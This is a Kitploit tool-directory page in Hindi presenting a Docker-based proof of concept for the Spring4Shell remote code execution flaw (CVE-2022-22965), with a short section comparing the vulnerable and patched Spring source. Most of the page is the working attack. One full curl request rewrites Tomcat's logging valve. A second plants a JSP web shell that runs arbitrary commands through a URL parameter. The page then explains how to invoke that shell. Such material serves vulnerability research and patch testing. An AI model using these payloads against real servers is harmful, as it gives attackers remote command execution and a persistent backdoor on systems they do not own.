Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2022-22965 — # CVE-2022-22965 (Spring4Shell) के लिए Docker-आधारित प्रूफ-ऑफ-कॉन्सेप्ट Spring Boot 2.6.5 में रिमोट कोड एक्ज़ीक्यूशन भेद्यता के लिए Docker-आधारित प्रूफ-ऑफ-कॉन्सेप्ट, जिसमें स्वचालित वेबशेल तैनाती और पैच तुलना शामिल है। | Kitploit
उपकरण/GitHubGitHub/itsecurityco/cve-2022-22965
पेलोड जनरेशनभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंग
GitHubitsecurityco/cve-2022-22965

CVE-2022-22965

# CVE-2022-22965 (Spring4Shell) के लिए Docker-आधारित प्रूफ-ऑफ-कॉन्सेप्ट Spring Boot 2.6.5 में रिमोट कोड एक्ज़ीक्यूशन भेद्यता के लिए Docker-आधारित प्रूफ-ऑफ-कॉन्सेप्ट, जिसमें स्वचालित वेबशेल तैनाती और पैच तुलना शामिल है।

रिपॉजिटरी देखें
163134 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

Spring Boot CVE-2022-22965

CVE-2022-22965 के लिए Spring Boot संस्करण 2.6.5 के साथ Docker PoC

शेल

🚀 आरंभ करना

  1. वितरण कोड को https://github.com/itsecurityco/CVE-2022-22965/archive/refs/heads/master.zip से डाउनलोड करें और इसे अनज़िप करें।
  2. कमजोर एप्लिकेशन को बिल्ड और प्रारंभ करने के लिए docker compose up --build चलाएँ।
  3. Tomcat कॉन्फ़िग वाल्व को बदलने के लिए curl -H "Accept: text/html;" "http://localhost:8080/demo/itsecurityco?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7b%63%6f%64%65%7d%69&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" चलाएँ।
  4. वेब शेल बनाने के लिए curl -H "Accept: text/html;" -H "code: <% java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(String.valueOf(1337))).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1) { out.println(new String(b)); } %>" "http://localhost:8080/demo/x" चलाएँ।
  • अपना ब्राउज़र खोलें और कमांड निष्पादित करना शुरू करने के लिए http://localhost:8080/shell.jsp?1337=id पर जाएँ।

  • 🔎 पैच संशोधन

    Spring Framework 5.3.17 (कमजोर) और Spring Framework 5.3.18 (पैच किया गया) का स्रोत कोड क्रमशः निम्न से डाउनलोड किया जा सकता है:

    • https://github.com/spring-projects/spring-framework/archive/refs/tags/v5.3.17.zip
    • https://github.com/spring-projects/spring-framework/archive/refs/tags/v5.3.18.zip
    root@kitploit:~
    $ wget https://github.com/spring-projects/spring-framework/archive/refs/tags/v5.3.17.zip
    $ wget https://github.com/spring-projects/spring-framework/archive/refs/tags/v5.3.18.zip
    

    यह कमजोरी /spring-beans/src/main/java/org/springframework/beans/CachedIntrospectionResults.java फ़ाइल की पंक्ति 290 में पाई जाती है, जहाँ Class.getClassLoader() और getProtectionDomain() विधियों के लिए सत्यापन लागू किया गया है, लेकिन ClassLoader, ProtectionDomain प्रकारों और PropertyDescriptors नामों के लिए नहीं।

    कमजोर कोड और पैच किए गए कोड के बीच का अंतर diff कमांड से प्राप्त किया जा सकता है।

    root@kitploit:~
    $ diff spring-framework-5.3.17/spring-beans/src/main/java/org/springframework/beans/CachedIntrospectionResults.java spring-framework-5.3.18/spring-beans/src/main/java/org/springframework/beans/CachedIntrospectionResults.java
    

    पैच


    श्रेय

    • मूल शोध: @p1n93r
    • धन्यवाद: @fmunoz
    टूल डाउनलोड करें